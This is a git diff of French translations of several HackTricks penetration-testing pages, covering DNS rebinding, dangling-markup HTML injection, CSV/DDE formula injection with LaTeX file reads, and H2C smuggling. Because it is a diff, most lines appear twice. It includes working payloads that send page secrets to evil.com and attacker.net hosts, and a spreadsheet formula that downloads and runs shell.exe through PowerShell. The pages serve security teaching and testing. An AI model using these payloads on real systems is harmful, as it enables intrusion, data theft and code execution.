Il est important de noter que les navigateurs disposent de mécanismes de mise en cache qui peuvent empêcher l'abus immédiat de cette technique, même avec des valeurs TTL faibles.
La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer.
Le réadressage DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant au cache d'expirer.
Si vous avez besoin d'un moyen rapide d'abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Si vous avez besoin d'une méthode rapide pour abuser du réadressage DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Pour exécuter votre propre serveur de réattribution DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.
Pour exécuter votre propre serveur de réadressage DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.
Vous pouvez également explorer un serveur en cours d'exécution publiquement sur [http://rebind.it/singularity.html](http://rebind.it/singularity.html) pour une meilleure compréhension et expérimentation.
### Réattribution DNS via **Inondation du cache DNS**
### Réadressage DNS via **Inondation du cache DNS**
La réattribution DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne :
Le réadressage DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne :
1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant.
2. Pour contourner la défense de mise en cache, l'attaquant exploite un worker de service. Le worker de service inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost.
1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant en réponse.
2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost.
En inondant le cache DNS avec le worker de service, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée par l'attaquant.
En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée de l'attaquant.
### Réattribution DNS via **Cache**
### Réadressage DNS via **Cache**
Une autre façon de contourner la défense de mise en cache est d'utiliser plusieurs adresses IP pour le même sous-domaine dans le fournisseur DNS. Voici comment cela fonctionne :
@ -323,12 +323,12 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi
3. Si le navigateur décide d'utiliser en premier l'adresse IP de l'attaquant, l'attaquant peut servir une charge utile qui effectue des requêtes HTTP vers le même domaine.
4. Cependant, une fois que l'attaquant obtient l'adresse IP de la victime, il cesse de répondre au navigateur de la victime.
5. Le navigateur de la victime, en réalisant que le domaine est injoignable, passe à utiliser la deuxième adresse IP donnée.
6. En accédant à la deuxième adresse IP, le navigateur contourne la Politique de même origine (SOP), permettant à l'attaquant d'exploiter cela pour recueillir et exfiltrer des informations.
6. En accédant à la deuxième adresse IP, le navigateur contourne la Politique de même origine (SOP), permettant à l'attaquant d'exploiter cela et de recueillir et d'extraire des informations.
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP du navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
{% hint style="warning" %}
Notez que pour accéder à localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
Notez que pour accéder à l'localhost, vous devriez essayer de réadresser **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0"
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
@ -339,13 +339,13 @@ Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks
* Si les **adresses IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac)
* Si les **adresses IP internes ne sont pas autorisées**, répondez avec un **CNAME** vers **localhost** (fonctionne sur Linux et Mac)
* Si les **adresses IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
* Si les **adresses IP internes ne sont pas autorisées** dans les réponses DNS, vous pouvez répondre avec des **CNAME vers des services internes** tels que www.corporate.internal.
### Arme DNS Rebidding Weaponized
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier à nouveau l'adresse IP du serveur d'attaque au nom DNS de la machine cible à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible.
### Protection réelle contre le rebinding DNS
@ -358,6 +358,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
**Fuzz les mauvaises configurations possibles dans les politiques CORS**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)

View file

@ -9,23 +9,23 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous ne trouvez **aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous ne trouvez **aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
C'est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous souhaitez induire en erreur l'exécution d'un script.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Politiques de sécurité du contenu**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
## Principales applications
### Vol de secrets en clair
### Vol de secrets en texte clair
Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé de cette manière, vous le volerez (vous pouvez faire la même chose en utilisant des guillemets doubles, voyez ce qui pourrait être plus intéressant à utiliser).
Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant des guillemets doubles, regardez ce qui pourrait être plus intéressant à utiliser).
Si la balise `img` est interdite (en raison de la CSP par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -61,10 +61,14 @@ Définissez un en-tête de formulaire : `<form action='http://evil.com/log_steal
### Vol de formulaires 3
Le bouton peut modifier l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction" :
Le bouton peut changer l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction" :
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Un attaquant peut utiliser cela pour voler les informations.
Trouvez un [**exemple de cette attaque dans cet article**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Vol de secrets en texte clair 2
En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ d'entrée :
@ -103,12 +107,12 @@ Une façon d'exfiltrer le contenu de la page web du point d'injection jusqu'en b
```
### Contournement de CSP avec interaction utilisateur
À partir de cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec une certaine **interaction utilisateur**. Dans ce cas, nous allons utiliser la charge utile :
À partir de cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec un peu d'**interaction utilisateur**. Dans ce cas, nous allons utiliser la charge utile :
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Notez que vous demanderez à la **victime** de **cliquer sur un lien** qui la **redirigera** vers un **payload** contrôlé par vous. Notez également que l'attribut **`target`** à l'intérieur de la balise **`base`** contiendra du **contenu HTML** jusqu'au prochain guillemet simple.\
Notez que vous demanderez à la **victime** de **cliquer sur un lien** qui la **redirigera** vers un **payload** contrôlé par vous. Notez également que l'attribut **`target`** à l'intérieur de la balise **`base`** contiendra du **contenu HTML** jusqu'à l'apostrophe suivante.\
Cela fera en sorte que la **valeur** de **`window.name`** si le lien est cliqué sera tout ce **contenu HTML**. Par conséquent, comme vous **contrôlez la page** à laquelle la victime accède en cliquant sur le lien, vous pouvez accéder à ce **`window.name`** et **exfiltrer** ces données:
```html
<script>
@ -116,7 +120,7 @@ if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Technique de piratage trompeuse 1 - Attaque de l'espace de noms HTML
### Attaque de l'espace de noms HTML
Insérez une nouvelle balise avec un identifiant à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée:
```html
@ -175,7 +179,7 @@ Ou vous pouvez même essayer d'exécuter du javascript :
```html
<script src='/search?q=a&call=alert(1)'></script>
```
### Mauvais usage des iframes
### Mauvaise utilisation de l'iframe
Un document enfant possède la capacité de visualiser et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'intégrer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
```html
@ -196,16 +200,16 @@ setTimeout(()=>alert(win[0].name), 500);
```
Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### Abus de la balise \<meta
### Abus de \<meta
Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions** comme définir un Cookie : `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou effectuer une redirection (dans 5s dans ce cas) : `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Cela peut être **évité** avec une **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
Cela peut être **évité** avec un **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
### Nouvelle balise HTML \<portal
Vous pouvez trouver une recherche très **intéressante** sur les vulnérabilités exploitables de la balise \<portal [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
Au moment de la rédaction de cet article, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
Au moment de la rédaction de ceci, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` ou cela ne fonctionnera pas.
```html
<portal src='https://attacker-server?
```
@ -223,7 +227,7 @@ Il s'agit d'un **mélange** entre le **dangling markup et les XS-Leaks**. D'un c
## XS-Search/XS-Leaks
XS-Search est orienté pour **exfiltrer des informations entre origines** en abusant des **attaques de canal secondaire**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'**Injection CSS** ou le **Chargement Paresseux des Images**.
Les XS-Search sont orientés vers **l'exfiltration d'informations entre origines** en abusant des **attaques de canal secondaire**. Par conséquent, il s'agit d'une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'**Injection CSS** ou le **Chargement Paresseux des Images**.
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
@ -249,7 +253,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,10 +26,10 @@ Autres façons de soutenir HackTricks :
### Info
Si votre **entrée** est **réfléchie** à l'intérieur de **fichiers CSV** (ou de tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être en mesure d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
Si votre **entrée** est **réfléchie** dans des **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pouvez peut-être insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
{% hint style="danger" %}
De nos jours, **Excel alertera** (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final.
De nos jours, **Excel alertera** (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en ingénierie sociale doit être appliqué au payload final.
{% endhint %}
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
@ -45,20 +45,20 @@ DDE ("cmd";"/C calc";"!A0")A0
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
L'exemple suivant a été tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
L'exemple suivant a été pris sur [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit:
1. **Injection de la Charge Malveillante :**
1. **Injection de la charge malveillante:**
* L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, `=HYPERLINK("<malicious_link>","Cliquez ici")`).
* Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
2. **Exportation des Données Compromises :**
2. **Exportation des données compromises:**
* Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
* Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.
3. **Déclenchement de l'Attaque :**
* Un enseignant clique sur le lien hypertexte, croyant qu'il fait partie légitime des détails de l'étudiant.
3. **Déclenchement de l'attaque:**
* Un enseignant clique sur l'hyperlien, croyant qu'il fait partie légitime des détails de l'étudiant.
* En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
4. **Enregistrement des Données :**
4. **Enregistrement des données:**
* Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
* L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la confidentialité et la sécurité des étudiants et de l'institution.
@ -66,15 +66,15 @@ Imaginez une violation de sécurité dans un système de gestion des dossiers é
**Consultez le** [**message original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **pour plus de détails.**
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour tirer parti de cela, les paramètres suivants doivent être activés :
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour tirer parti de cela, les paramètres suivants doivent être activés:
* Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez **Lancement du Serveur d'Échange de Données Dynamique**.
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait :
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait:
```markdown
`=cmd|' /C calc'!xxx`
```
Additional commands can also be executed, such as downloading and executing a file using PowerShell:
Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier en utilisant PowerShell :
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
@ -104,14 +104,14 @@ Généralement, les serveurs que l'on trouve sur Internet qui **convertissent du
Ce programme utilise 3 attributs principaux pour autoriser ou interdire l'exécution de commandes :
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de \*\*commandes \*\*prédéfinies (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de **commandes** prédéfinies **sûres** (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter une exécution de code à distance, il est très important d'utiliser `--shell-restricted`.
### Lire le fichier <a href="#read-file" id="read-file"></a>
Vous devrez peut-être ajuster l'injection avec des wrappers comme \[ ou $.
Vous devrez peut-être ajuster l'injection avec des enveloppes comme \[ ou $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
@ -199,7 +199,7 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -211,7 +211,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -10,13 +10,13 @@ Autres façons de soutenir HackTricks :
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,19 +26,19 @@ Autres façons de soutenir HackTricks :
#### HTTP2 sur texte clair (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, ou **http2 sur texte clair**, s'éloigne de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion améliorée utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de HTTP en texte clair.
H2C, ou **http2 sur texte clair**, s'écarte de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion améliorée utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de HTTP en texte clair.
Le cœur du problème de smuggling survient avec l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant ensuite la réponse de l'arrière-plan. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques :
Le cœur du problème de smuggling survient avec l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant la réponse de l'arrière-plan après cela. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques :
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation de H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est établie avec succès.
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation du H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est initiée avec succès.
#### Proxies Vulnérables <a href="#exploitation" id="exploitation"></a>
La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi de manière inhérente le H2C smuggling :
La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi le H2C smuggling :
* HAProxy
* Traefik
@ -111,9 +111,9 @@ Consultez les laboratoires pour tester les deux scénarios sur [https://github.c
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Groupe de sécurité Try Hard**
**Try Hard Security Group**
